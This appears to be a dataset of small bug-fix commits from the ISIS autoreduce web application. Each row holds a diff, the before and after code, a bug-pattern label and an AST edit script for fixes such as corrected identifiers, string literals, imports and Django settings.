project
stringlengths
1
98
commit_sha
stringlengths
40
40
parent_sha
stringlengths
40
40
file_path
stringlengths
4
209
project_url
stringlengths
23
132
likely_bug
bool
1 class
comodified
bool
1 class
in_function
bool
2 classes
diff
stringlengths
27
9.71k
before
stringlengths
1
8.91k
after
stringlengths
1
6k
sstub_pattern
stringclasses
23 values
edit_script
stringlengths
33
158k
key
stringlengths
45
154
commit_message
stringlengths
3
65.5k
files
list
autoreduce
14106fea1991bb237c870a0841fcf6df1a2387ae
518c60f9bb601c9a21875f946e004b67f4da985f
autoreduce_webapp/reduction_variables/utils.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -345,7 +345,7 @@ class InstrumentVariablesUtils(object): - if not any([var.tracks_script for var in variables]): + if not any([hasattr(var, "tracks_script") and var.tracks_script for var in variables]): return # New variable set from the script
if not any ( [ var . tracks_script for var in variables ] ) : return
if not any ( [ hasattr ( var , "tracks_script" ) and var . tracks_script for var in variables ] ) : return
MORE_SPECIFIC_IF
[["Insert", ["list_comprehension", 0, 20, 0, 60], ["boolean_operator", "N0"], 1], ["Insert", "N0", ["call", "N1"], 0], ["Insert", "N0", ["and:and", "T"], 1], ["Move", "N0", ["attribute", 0, 21, 0, 38], 2], ["Insert", "N1", ["identifier:hasattr", "T"], 0], ["Insert", "N1", ["argument_list", "N2"], 1], ["Insert", "N2", ["(:(", "T"], 0], ["Insert", "N2", ["identifier:var", "T"], 1], ["Insert", "N2", [",:,", "T"], 2], ["Insert", "N2", ["string:\"tracks_script\"", "T"], 3], ["Insert", "N2", ["):)", "T"], 4]]
ISISScientificComputing/autoreduce@14106fea1991bb237c870a0841fcf6df1a2387ae
null
null
autoreduce
602936e2e91e8bdac408856cdfa936c6dea2de4b
2b8067381944f2b7dde97695b700d8d7119497c8
autoreduce_webapp/autoreduce_webapp/view_utils.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -12,7 +12,7 @@ def has_valid_login(request): """ Check that the user is correctly logged in and their session is still considered valid """ - if request.user.is_authenticated() and request.session['sessionid'] and UOWSClient().check_session(request.session['sessionid']): + if request.user.is_authenticated() and 'sessionid' in request.session and UOWSClient().check_session(request.session['sessionid']): return True return False
if request . user . is_authenticated ( ) and request . session [ 'sessionid' ] and UOWSClient ( ) . check_session ( request . session [ 'sessionid' ] ) : return True
if request . user . is_authenticated ( ) and 'sessionid' in request . session and UOWSClient ( ) . check_session ( request . session [ 'sessionid' ] ) : return True
CHANGE_BINARY_OPERAND
[["Insert", ["boolean_operator", 3, 8, 3, 72], ["comparison_operator", "N0"], 2], ["Insert", "N0", ["string:'sessionid'", "T"], 0], ["Insert", "N0", ["in:in", "T"], 1], ["Move", "N0", ["attribute", 3, 44, 3, 59], 2], ["Delete", ["[:[", 3, 59, 3, 60]], ["Delete", ["string:'sessionid'", 3, 60, 3, 71]], ["Delete", ["]:]", 3, 71, 3, 72]], ["Delete", ["subscript", 3, 44, 3, 72]]]
ISISScientificComputing/autoreduce@602936e2e91e8bdac408856cdfa936c6dea2de4b
null
null
autoreduce
68009b53500b34a2262050377013b748af7c8af8
151b734a7dcf5d5ffb680266b0fe454d39915273
rpmbuild/autoreduce-mq/usr/bin/queueProcessor.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -37,7 +37,7 @@ class Listener(object): self.updateChildProcessList() if not self.shouldProceed(data_dict): # wait while the run shouldn't proceed - reactor.callLater(10, holdMessage, self, destination, data) + reactor.callLater(10, self.holdMessage, destination, data) if self.shouldCancel(data_dict): self.cancelRun(data_dict)
reactor . callLater ( 10 , holdMessage , self , destination , data )
reactor . callLater ( 10 , self . holdMessage , destination , data )
SINGLE_STMT
[["Insert", ["argument_list", 3, 30, 3, 72], ["attribute", "N0"], 3], ["Move", "N0", ["identifier:self", 3, 48, 3, 52], 0], ["Insert", "N0", [".:.", "T"], 1], ["Move", "N0", ["identifier:holdMessage", 3, 35, 3, 46], 2], ["Delete", [",:,", 3, 46, 3, 47]]]
ISISScientificComputing/autoreduce@68009b53500b34a2262050377013b748af7c8af8
null
null
autoreduce
689258057c481d33c6f9275a1a1c01d5b5f3f4cf
3450a7648fdb747ab942fe56e028209f2f66ed25
autoreduce_webapp/reduction_variables/utils.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -251,7 +251,7 @@ class InstrumentVariablesUtils(object): elif not applicable_variables and not after_variables and previous_variables: # There is a previous set that applies but doesn't start or end in the range. final_start = previous_variables.order_by('-start_run').first().start_run # Find the last set. - final_variables = previous_variables.filter(start_run = final_start) # Set them to apply after our variables. + final_variables = list(previous_variables.filter(start_run = final_start)) # Set them to apply after our variables. [VariableUtils().copy_variable(var).save() for var in final_variables] # Also copy them to apply before our variables. elif not applicable_variables and not after_variables and not previous_variables:
final_variables = previous_variables . filter ( start_run = final_start )
final_variables = list ( previous_variables . filter ( start_run = final_start ) )
ADD_FUNCTION_AROUND_EXPRESSION
[["Insert", ["call", 3, 35, 3, 85], ["identifier:list", "T"], 0], ["Insert", ["call", 3, 35, 3, 85], ["argument_list", "N0"], 1], ["Insert", "N0", ["(:(", "T"], 0], ["Move", "N0", ["call", 3, 35, 3, 85], 1], ["Insert", "N0", ["):)", "T"], 2]]
ISISScientificComputing/autoreduce@689258057c481d33c6f9275a1a1c01d5b5f3f4cf
null
null
autoreduce
d3cfce38834819454472b7e879795403ab649223
7efa65700f644b71c6d0d1fce7341669b7516041
ISISendOfRunMonitor.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -9,7 +9,7 @@ INST_FOLDER = r"\\isis\inst$\NDX%s\Instrument" DATA_LOC = r"\data\cycle_%s\\" SUMMARY_LOC = r"\logs\journal\SUMMARY.txt" LAST_RUN_LOC = r"\logs\lastrun.txt" -LOG_FILE = r"xx\monitor_log.txt" +LOG_FILE = r"monitor_log.txt" INSTRUMENTS = [{'name': 'LET', 'use_nexus': True}, {'name': 'MERLIN', 'use_nexus': False}, {'name': 'MAPS', 'use_nexus': True},
LOG_FILE = r"xx\monitor_log.txt"
LOG_FILE = r"monitor_log.txt"
CHANGE_STRING_LITERAL
[["Update", ["string:r\"xx\\monitor_log.txt\"", 3, 12, 3, 33], "r\"monitor_log.txt\""]]
ISISScientificComputing/autoreduce@d3cfce38834819454472b7e879795403ab649223
null
null
autoreduce
990f40146ca2afbc3714afece0f0cce47334823c
3d8fd4a40208443261ef30e060f4c5ffc5f1faf7
WebApp/autoreduce_webapp/autoreduce_webapp/templatetags/view.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -35,7 +35,7 @@ class ViewNode(Node): return view(context['request'], *args, **kwargs).content raise "%r is not callable" % view except: - if settings.TEMPLATE_DEBUG: + if settings.DEBUG_PROPAGATE_EXCEPTIONS: raise return ""
settings . TEMPLATE_DEBUG : raise
settings . DEBUG_PROPAGATE_EXCEPTIONS : raise
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:TEMPLATE_DEBUG", 3, 25, 3, 39], "DEBUG_PROPAGATE_EXCEPTIONS"]]
ISISScientificComputing/autoreduce@990f40146ca2afbc3714afece0f0cce47334823c
null
null
autoreduce
0663004a35dc5e9f2e35d4aa0808f8e07fcb2baa
6471438796ce3b235e0b550eb085aabaa6fffe60
Scripts/NagiosChecks/autoreduce_checklastrun.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -9,7 +9,7 @@ from os import path import MySQLdb import MySQLdb.cursors -from autoreduce_settings import MYSQL, ISIS_MOUNT +from Scripts.NagiosChecks.autoreduce_settings import MYSQL, ISIS_MOUNT # pylint: disable=invalid-name
from autoreduce_settings import MYSQL , ISIS_MOUNT
from Scripts . NagiosChecks . autoreduce_settings import MYSQL , ISIS_MOUNT
SINGLE_STMT
[["Insert", ["dotted_name", 3, 6, 3, 25], ["identifier:Scripts", "T"], 0], ["Insert", ["dotted_name", 3, 6, 3, 25], [".:.", "T"], 1], ["Insert", ["dotted_name", 3, 6, 3, 25], ["identifier:NagiosChecks", "T"], 2], ["Insert", ["dotted_name", 3, 6, 3, 25], [".:.", "T"], 3]]
ISISScientificComputing/autoreduce@0663004a35dc5e9f2e35d4aa0808f8e07fcb2baa
null
null
autoreduce
ceab852a1ff29e608e302a27d898fa790899b6e1
fa27a9d16cdd9cd9ed3cdef6476237cd93bcdb3f
WebApp/autoreduce_webapp/selenium_tests/tests/test_configure_new_runs_integration.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -117,7 +117,7 @@ class TestConfigureNewRunsPageIntegration(NavbarTestMixin, BaseTestCase, FooterT self._submit_var_value("new_value", self.run_number + 1) assert InstrumentVariable.objects.count() == 2 new_var = InstrumentVariable.objects.last() - self.assert_expected_var(new_var, self.rb_number + 1, None, "new_value") + self.assert_expected_var(new_var, self.run_number + 1, None, "new_value") summary = VariableSummaryPage(self.driver, self.instrument_name) assert summary.current_variables_by_run.is_displayed()
self . assert_expected_var ( new_var , self . rb_number + 1 , None , "new_value" )
self . assert_expected_var ( new_var , self . run_number + 1 , None , "new_value" )
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:rb_number", 3, 48, 3, 57], "run_number"]]
ISISScientificComputing/autoreduce@ceab852a1ff29e608e302a27d898fa790899b6e1
null
null
autoreduce
a09366be7b0e59ec889bec39bd02fae518e94e90
53bc47fb515e6b651f462aa897272f9f9cf55fe8
model/message/message.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -21,7 +21,7 @@ class Message: - description = attr.ib(default=None) + description = attr.ib(default="") facility = attr.ib(default="ISIS") run_number = attr.ib(default=None) instrument = attr.ib(default=None)
description = attr . ib ( default = None )
description = attr . ib ( default = "" )
SINGLE_TOKEN
[["Insert", ["keyword_argument", 0, 27, 0, 39], ["string:\"\"", "T"], 2], ["Delete", ["none:None", 0, 35, 0, 39]]]
ISISScientificComputing/autoreduce@a09366be7b0e59ec889bec39bd02fae518e94e90
null
null
autoreduce
e2f1bd9a7bd2350ec38572920389420f52049c7e
a09366be7b0e59ec889bec39bd02fae518e94e90
model/message/tests/test_message.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -79,7 +79,7 @@ class TestMessage(unittest.TestCase): empty_msg, _ = self._empty() - self.assertIsNone(empty_msg.description) + self.assertEqual(empty_msg.description, "") self.assertEqual(empty_msg.facility, "ISIS") self.assertIsNone(empty_msg.run_number) self.assertIsNone(empty_msg.instrument)
self . assertIsNone ( empty_msg . description )
self . assertEqual ( empty_msg . description , "" )
SINGLE_STMT
[["Update", ["identifier:assertIsNone", 1, 14, 1, 26], "assertEqual"], ["Insert", ["argument_list", 1, 26, 1, 49], [",:,", "T"], 2], ["Insert", ["argument_list", 1, 26, 1, 49], ["string:\"\"", "T"], 3]]
ISISScientificComputing/autoreduce@e2f1bd9a7bd2350ec38572920389420f52049c7e
null
null
autoreduce
d2f6b1e0211071251c375c7fa9212d78d16261e2
4e95cdec69c3e2c90494d13791dc1e5a0352839f
plotting/plot_handler.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -91,7 +91,7 @@ class PlotHandler: # initialise list to store names of existing files matching the search _found_files = [] # regular expression for plot file name(s) - file_regex = self._generate_file_name_regex() + file_regex = self._generate_file_extension_regex() if file_regex: # Add files that match regex to the list of files found _found_files.extend(client.get_filenames(server_dir_path=self.server_dir, regex=file_regex))
file_regex = self . _generate_file_name_regex ( )
file_regex = self . _generate_file_extension_regex ( )
WRONG_FUNCTION_NAME
[["Update", ["identifier:_generate_file_name_regex", 3, 27, 3, 52], "_generate_file_extension_regex"]]
ISISScientificComputing/autoreduce@d2f6b1e0211071251c375c7fa9212d78d16261e2
null
null
autoreduce
407c278142a888b345bf8e68a72f76dcf5547fee
e5f7e45e2ab841e0a3e8d21c5896e1fb18a34ebe
plotting/plot_handler.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -87,7 +87,7 @@ class PlotHandler: client = SFTPClient() - file_regex = self._generate_file_extension_regex() + file_regex = self._generate_file_name_regex() return client.get_filenames(server_dir_path=self.server_dir, regex=file_regex) def get_plot_file(self):
file_regex = self . _generate_file_extension_regex ( )
file_regex = self . _generate_file_name_regex ( )
WRONG_FUNCTION_NAME
[["Update", ["identifier:_generate_file_extension_regex", 1, 27, 1, 57], "_generate_file_name_regex"]]
ISISScientificComputing/autoreduce@407c278142a888b345bf8e68a72f76dcf5547fee
null
null
autoreduce
2fd32a0616604617ade3cee880bcb0d3fe84ee46
45920997736b0533900ad4137d9c75218a6ddf8a
WebApp/autoreduce_webapp/selenium_tests/pages/help_page.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -80,7 +80,7 @@ class HelpPage(Page, NavbarMixin, FooterMixin): Get the help topic headers link elements :return: (List) A list of WebElement links found in the headers of help topics """ - return [x.element.find_element_by_xpath("./h3/a") for x in self.get_help_topic_header_elements()] + return [x.find_element_by_xpath("./h3/a") for x in self.get_help_topic_header_elements()] def get_each_help_topic_header(self) -> List[str]: """
""" return [x.element.find_element_by_xpath("./h3/a") for x in self.get_help_topic_header_elements()] def get_each_help_topic_header(self) -> List[str]: """
""" return [x.find_element_by_xpath("./h3/a") for x in self.get_help_topic_header_elements()] def get_each_help_topic_header(self) -> List[str]: """
CHANGE_STRING_LITERAL
[["Update", ["string:\"\"\"\n return [x.element.find_element_by_xpath(\"./h3/a\") for x in self.get_help_topic_header_elements()]\n \n def get_each_help_topic_header(self) -> List[str]:\n \"\"\"", 2, 9, 6, 12], "\"\"\"\n return [x.find_element_by_xpath(\"./h3/a\") for x in self.get_help_topic_header_elements()]\n \n def get_each_help_topic_header(self) -> List[str]:\n \"\"\""]]
ISISScientificComputing/autoreduce@2fd32a0616604617ade3cee880bcb0d3fe84ee46
null
null
autoreduce
f3839b0bda8c07380f2977dc0e8632c0f05b9f00
b4cb849cf669848336e4ba25f89e4acbcb86c630
WebApp/autoreduce_webapp/selenium_tests/pages/job_queue_page.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -9,7 +9,7 @@ Module for the job queue page model from typing import Union, List -from django.urls import reverse +from django.urls.base import reverse from selenium_tests.pages.component_mixins.footer_mixin import FooterMixin from selenium_tests.pages.component_mixins.navbar_mixin import NavbarMixin from selenium_tests.pages.page import Page
from django . urls import reverse
from django . urls . base import reverse
SINGLE_STMT
[["Insert", ["dotted_name", 2, 6, 2, 17], [".:.", "T"], 3], ["Insert", ["dotted_name", 2, 6, 2, 17], ["identifier:base", "T"], 4]]
ISISScientificComputing/autoreduce@f3839b0bda8c07380f2977dc0e8632c0f05b9f00
null
null
autoreduce
677a87d8621d5f5503a1ea8a22289c4ca18b4cb9
f3839b0bda8c07380f2977dc0e8632c0f05b9f00
WebApp/autoreduce_webapp/selenium_tests/pages/job_queue_page.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -22,7 +22,7 @@ class JobQueuePage(Page, NavbarMixin, FooterMixin): Return the path section of the job queue url :return: (str) path section of job queue url """ - return reverse("queue") + return reverse("runs:queue") def get_run_numbers_from_table(self) -> List[str]: """
""" return reverse("queue") def get_run_numbers_from_table(self) -> List[str]: """
""" return reverse("runs:queue") def get_run_numbers_from_table(self) -> List[str]: """
CHANGE_STRING_LITERAL
[["Update", ["string:\"\"\"\n return reverse(\"queue\")\n \n def get_run_numbers_from_table(self) -> List[str]:\n \"\"\"", 2, 9, 6, 12], "\"\"\"\n return reverse(\"runs:queue\")\n \n def get_run_numbers_from_table(self) -> List[str]:\n \"\"\""]]
ISISScientificComputing/autoreduce@677a87d8621d5f5503a1ea8a22289c4ca18b4cb9
null
null
autoreduce
d857eb6d29ebc409612c13add5b5a41d21b9294e
ad04695cf57cd2463cf9334580d034b03e8bdb81
WebApp/autoreduce_webapp/selenium_tests/tests/test_job_queue.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -37,4 +37,4 @@ class TestJobQueuePage(NavbarTestMixin, BaseTestCase, FooterTestMixin): self.assertEqual("Processing", self.page.get_status_from_run(123)) - self.assertEQual("Queued", self.page.get_status_from_run(456)) + self.assertEqual("Queued", self.page.get_status_from_run(456))
self . assertEQual ( "Queued" , self . page . get_status_from_run ( 456 ) )
self . assertEqual ( "Queued" , self . page . get_status_from_run ( 456 ) )
WRONG_FUNCTION_NAME
[["Update", ["identifier:assertEQual", 1, 14, 1, 25], "assertEqual"]]
ISISScientificComputing/autoreduce@d857eb6d29ebc409612c13add5b5a41d21b9294e
null
null
autoreduce
e245298fd088fa8a38dd4dcb18d9c5de70309c93
a8d26282cf6a3a2b2354166da62434b8d4087557
WebApp/autoreduce_webapp/autoreduce_webapp/uows_client.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -23,7 +23,7 @@ class UOWSClient: def __init__(self, **kwargs): - url = kwargs.get("URL", default=UOWS_URL) + url = kwargs.get("URL", UOWS_URL) self.client = Client(url) # Add the ability to use 'with'
url = kwargs . get ( "URL" , default = UOWS_URL )
url = kwargs . get ( "URL" , UOWS_URL )
SINGLE_STMT
[["Move", ["argument_list", 1, 25, 1, 50], ["identifier:UOWS_URL", 1, 41, 1, 49], 3], ["Delete", ["identifier:default", 1, 33, 1, 40]], ["Delete", ["=:=", 1, 40, 1, 41]], ["Delete", ["keyword_argument", 1, 33, 1, 49]]]
ISISScientificComputing/autoreduce@e245298fd088fa8a38dd4dcb18d9c5de70309c93
null
null
autoreduce
9422570db1d14f2d859d6425b0fd2cbb8fa762a3
18e6818e5d18551c8d2b8dc9650d1904806f5f43
queue_processors/queue_processor/reduction/tests/test_runner.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -156,7 +156,7 @@ class TestReductionRunner(unittest.TestCase): assert mock_logger_info.call_count == 2 assert mock_logger_info.call_args[0][1] == "testdescription" _get_mantid_version.assert_called_once() - assert runner.message.message == 'REDUCTION Error: Problem reading datafile: /isis/data.nxs' + assert runner.message.message == 'Error encountered when trying to access the datafile /isis/data.nxs' @patch(f'{DIR}.runner.ReductionRunner._get_mantid_version', return_value="5.1.0") @patch(f'{DIR}.runner.reduce')
assert runner . message . message == 'REDUCTION Error: Problem reading datafile: /isis/data.nxs'
assert runner . message . message == 'Error encountered when trying to access the datafile /isis/data.nxs'
CHANGE_STRING_LITERAL
[["Update", ["string:'REDUCTION Error: Problem reading datafile: /isis/data.nxs'", 3, 42, 3, 101], "'Error encountered when trying to access the datafile /isis/data.nxs'"]]
ISISScientificComputing/autoreduce@9422570db1d14f2d859d6425b0fd2cbb8fa762a3
null
null
autoreduce
92c3d5aa0e8bf0defc54b195a0ef302f9f2b9134
2ca76c827caed0206c7f17f5fddfaad4bb223076
model/message/message.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -83,7 +83,7 @@ class Message: # Set the value of the variable on this object accessing it by name setattr(self, key, value) else: - raise ValueError("Unexpected key encountered during Message population: '{key}'.") + raise ValueError(f"Unexpected key encountered during Message population: '{key}'.") def validate(self, destination):
else : raise ValueError ( "Unexpected key encountered during Message population: '{key}'." )
else : raise ValueError ( f"Unexpected key encountered during Message population: '{key}'." )
CHANGE_STRING_LITERAL
[["Update", ["string:\"Unexpected key encountered during Message population: '{key}'.\"", 3, 34, 3, 98], "f\"Unexpected key encountered during Message population: '{key}'.\""]]
ISISScientificComputing/autoreduce@92c3d5aa0e8bf0defc54b195a0ef302f9f2b9134
null
null
autoreduce
e1d41ea6d8e9480e77208483678a9e5614080ce7
e8c290d3b2739cbb4e58ca1dc9b13916a07fa0f8
autoreduce_webapp/autoreduce_webapp/settings.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -74,7 +74,7 @@ USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/dev/howto/static-files/ -STATIC_URL = '/var/www/autoreduce_webapp/static/' +STATIC_URL = '/static/' # Logging
STATIC_URL = '/var/www/autoreduce_webapp/static/'
STATIC_URL = '/static/'
CHANGE_STRING_LITERAL
[["Update", ["string:'/var/www/autoreduce_webapp/static/'", 3, 14, 3, 50], "'/static/'"]]
ISISScientificComputing/autoreduce@e1d41ea6d8e9480e77208483678a9e5614080ce7
null
null
autoreduce
0f762d3fd81e0f20fc45433e290a4dd4da956dd6
8f30b73cf4e5bea90aeeffbfad3d1d6843b35722
autoreduce_webapp/reduction_viewer/models.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -67,7 +67,7 @@ class Status(models.Model): return u'%s' % self.value class ReductionRun(models.Model): - instrument = models.ForeignKey(Instrument, blank=False, related_name='reduction_runs') + instrument = models.ForeignKey(Instrument, related_name='reduction_runs') run_number = models.IntegerField(blank=False) run_name = models.CharField(max_length=50) run_version = models.IntegerField(blank=False)
instrument = models . ForeignKey ( Instrument , blank = False , related_name = 'reduction_runs' )
instrument = models . ForeignKey ( Instrument , related_name = 'reduction_runs' )
SAME_FUNCTION_LESS_ARGS
[["Delete", ["identifier:blank", 3, 48, 3, 53]], ["Delete", ["=:=", 3, 53, 3, 54]], ["Delete", ["false:False", 3, 54, 3, 59]], ["Delete", ["keyword_argument", 3, 48, 3, 59]], ["Delete", [",:,", 3, 59, 3, 60]]]
ISISScientificComputing/autoreduce@0f762d3fd81e0f20fc45433e290a4dd4da956dd6
null
null
autoreduce
143a61eee797194ba504feff73ff2627282aabee
0f762d3fd81e0f20fc45433e290a4dd4da956dd6
autoreduce_webapp/reduction_viewer/models.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -67,7 +67,7 @@ class Status(models.Model): return u'%s' % self.value class ReductionRun(models.Model): - instrument = models.ForeignKey(Instrument, related_name='reduction_runs') + instrument = models.ForeignKey(Instrument, related_name='reduction_runs', null=True) run_number = models.IntegerField(blank=False) run_name = models.CharField(max_length=50) run_version = models.IntegerField(blank=False)
instrument = models . ForeignKey ( Instrument , related_name = 'reduction_runs' )
instrument = models . ForeignKey ( Instrument , related_name = 'reduction_runs' , null = True )
SAME_FUNCTION_MORE_ARGS
[["Insert", ["argument_list", 3, 35, 3, 78], [",:,", "T"], 4], ["Insert", ["argument_list", 3, 35, 3, 78], ["keyword_argument", "N0"], 5], ["Insert", "N0", ["identifier:null", "T"], 0], ["Insert", "N0", ["=:=", "T"], 1], ["Insert", "N0", ["true:True", "T"], 2]]
ISISScientificComputing/autoreduce@143a61eee797194ba504feff73ff2627282aabee
null
null
autoreduce
ee20f1e0bbf22f3e4640d5b75cd0479e3b930dbe
4e272f1fca18e30baee71a00e2f3d50d7b29ddd4
autoreduce_webapp/autoreduce_webapp/queue_processor.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -59,8 +59,8 @@ class Listener(object): try: instrument_variables_start_run = InstrumentVariable.objects.filter(instrument=instrument, start_run__lte=self._data_dict['run_number']).latest('start_run').start_run except: - InstrumentVariablesUtils.set_default_instrument_variables(instrument.name, instrument_variables_start_run) - + InstrumentVariablesUtils().set_default_instrument_variables(instrument.name, instrument_variables_start_run) + instrument_variables = InstrumentVariable.objects.filter(instrument=instrument, start_run=instrument_variables_start_run) experiment, experiment_created = Experiment.objects.get_or_create(reference_number=self._data_dict['rb_number'], ) reduction_run, created = ReductionRun.objects.get_or_create(run_number=self._data_dict['run_number'],
InstrumentVariablesUtils . set_default_instrument_variables ( instrument . name , instrument_variables_start_run )
InstrumentVariablesUtils ( ) . set_default_instrument_variables ( instrument . name , instrument_variables_start_run )
SINGLE_STMT
[["Insert", ["attribute", 3, 13, 3, 70], ["call", "N0"], 0], ["Move", "N0", ["identifier:InstrumentVariablesUtils", 3, 13, 3, 37], 0], ["Insert", "N0", ["argument_list", "N1"], 1], ["Insert", "N1", ["(:(", "T"], 0], ["Insert", "N1", ["):)", "T"], 1]]
ISISScientificComputing/autoreduce@ee20f1e0bbf22f3e4640d5b75cd0479e3b930dbe
null
null
autoreduce
a87e02b0d11c5a5577c69f2be173407e449383a0
ae9d63b9703f308cad8bfc5b3477de5207e9360d
autoreduce_webapp/autoreduce_webapp/tests.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -86,7 +86,7 @@ class QueueProcessorTestCase(TestCase): def remove_dummy_reduce_script(self, instrument_name): directory = os.path.join(REDUCTION_SCRIPT_BASE, instrument_name) - logger.warning("About to remove %s" % directory) + logging.warning("About to remove %s" % directory) if os.path.exists(directory): shutil.rmtree(directory)
logger . warning ( "About to remove %s" % directory )
logging . warning ( "About to remove %s" % directory )
SAME_FUNCTION_WRONG_CALLER
[["Update", ["identifier:logger", 2, 9, 2, 15], "logging"]]
ISISScientificComputing/autoreduce@a87e02b0d11c5a5577c69f2be173407e449383a0
null
null
autoreduce
1d2599094fc1e88fd6775450cb2ed2c491e84c2f
da88a66af6e8da99ac2b499d49857134bf84b86e
autoreduce_webapp/autoreduce_webapp/settings.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -42,7 +42,7 @@ MIDDLEWARE_CLASSES = ( 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) -TEMPLATE_PATH = os.path.join(PROJECT_PATH, 'templates') +TEMPLATE_PATH = os.path.join(BASE_DIR, 'templates') TEMPLATE_DIRS = ( TEMPLATE_PATH )
TEMPLATE_PATH = os . path . join ( PROJECT_PATH , 'templates' )
TEMPLATE_PATH = os . path . join ( BASE_DIR , 'templates' )
CHANGE_IDENTIFIER_USED
[["Update", ["identifier:PROJECT_PATH", 3, 30, 3, 42], "BASE_DIR"]]
ISISScientificComputing/autoreduce@1d2599094fc1e88fd6775450cb2ed2c491e84c2f
null
null
autoreduce
1df4f4572aaba73b51a7ac7ba9dc62983c7f0e77
81b773962fcce2f7aa73f4f9b0b61c2b46945474
autoreduce_webapp/reduction_viewer/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -2,7 +2,7 @@ from django.shortcuts import render from django.template import RequestContext from django.shortcuts import render_to_response, redirect from django.contrib.auth import logout as django_logout -from autoreduction_webapp.uows_client import UOWSClient +from autoreduce_webapp.uows_client import UOWSClient from settings import UOWS_LOGIN_URL def index(request):
from autoreduction_webapp . uows_client import UOWSClient
from autoreduce_webapp . uows_client import UOWSClient
CHANGE_IDENTIFIER_USED
[["Update", ["identifier:autoreduction_webapp", 3, 6, 3, 26], "autoreduce_webapp"]]
ISISScientificComputing/autoreduce@1df4f4572aaba73b51a7ac7ba9dc62983c7f0e77
null
null
autoreduce
20ddfaa0c8e98711cb348a6248dad8aaf1b4f7ef
c420b28a57532795ae6a7f377285e40f7db8c1f1
autoreduce_webapp/autoreduce_webapp/urls.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -13,7 +13,7 @@ urlpatterns = patterns('', url(r'^runs/(?P<run_number>[0-9]+)/$', reduction_viewer_views.run_summary, name='run_summary'), url(r'^runs/(?P<run_number>[0-9]+)/confirmation/$', reduction_variables_views.run_confirmation, name='run_confirmation'), - url(r'^instrument/(?P<instrument>\w+)/$', reduction_viewer_views.instrument, name='instrument'), + url(r'^instrument/(?P<instrument>\w+)/$', reduction_viewer_views.instrument_summary, name='instrument_summary'), url(r'^instrument/(?P<instrument>\w+)/variables/$', reduction_variables_views.instrument_variables, name='instrument_variables'), url(r'^experiment/(?P<reference_number>[0-9]+)/$', reduction_viewer_views.experiment_summary, name='experiment_summary'),
url ( r'^instrument/(?P<instrument>\w+)/$' , reduction_viewer_views . instrument , name = 'instrument' ) ,
url ( r'^instrument/(?P<instrument>\w+)/$' , reduction_viewer_views . instrument_summary , name = 'instrument_summary' ) ,
SINGLE_STMT
[["Update", ["identifier:instrument", 3, 70, 3, 80], "instrument_summary"], ["Update", ["string:'instrument'", 3, 87, 3, 99], "'instrument_summary'"]]
ISISScientificComputing/autoreduce@20ddfaa0c8e98711cb348a6248dad8aaf1b4f7ef
null
null
autoreduce
a964ec4ad9ef227910bbe23f7bde7fb6f1c40938
085fb4074525e8d381ab62aeb219bc71bfdc6df5
autoreduce_webapp/reduction_viewer/views.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -22,7 +22,7 @@ def index(request): return redirect(UOWS_LOGIN_URL + request.build_absolute_uri()) def logout(request): - session_id = request.session.get('session_id') + session_id = request.session.get('sessionid') if session_id: UOWSClient().logout(session_id) django_logout(request)
session_id = request . session . get ( 'session_id' )
session_id = request . session . get ( 'sessionid' )
CHANGE_STRING_LITERAL
[["Update", ["string:'session_id'", 3, 38, 3, 50], "'sessionid'"]]
ISISScientificComputing/autoreduce@a964ec4ad9ef227910bbe23f7bde7fb6f1c40938
null
null
autoreduce
9cd70e6ae6bd1bd1bbdd2e715565e39ff592803e
956d4063b731fbee8a9f5b29cb9913a65ef1dac2
autoreduce_webapp/autoreduce_webapp/templatetags/colour_table_rows.py
https://github.com/ISISScientificComputing/autoreduce
true
false
true
@@ -10,4 +10,4 @@ def colour_table_row(status): return 'warning' if status is 'Queued': return 'info' - return '' + return status
return ''
return status
SINGLE_TOKEN
[["Insert", ["return_statement", 3, 5, 3, 14], ["identifier:status", "T"], 1], ["Delete", ["string:''", 3, 12, 3, 14]]]
ISISScientificComputing/autoreduce@9cd70e6ae6bd1bd1bbdd2e715565e39ff592803e
null
null
autoreduce
bad52ae61c06aac13b81b9279ceb474eff8779e8
1791458c0520dcf9b7b9334de99170803a0e5673
autoreduce_webapp/autoreduce_webapp/settings.py
https://github.com/ISISScientificComputing/autoreduce
true
false
false
@@ -74,7 +74,7 @@ DATABASES = { # https://docs.djangoproject.com/en/dev/topics/i18n/ LANGUAGE_CODE = 'en-gb' -TIME_ZONE = 'UTC' +TIME_ZONE = 'Europe/London' USE_I18N = True USE_L10N = True USE_TZ = True
TIME_ZONE = 'UTC'
TIME_ZONE = 'Europe/London'
CHANGE_STRING_LITERAL
[["Update", ["string:'UTC'", 3, 13, 3, 18], "'Europe/London'"]]
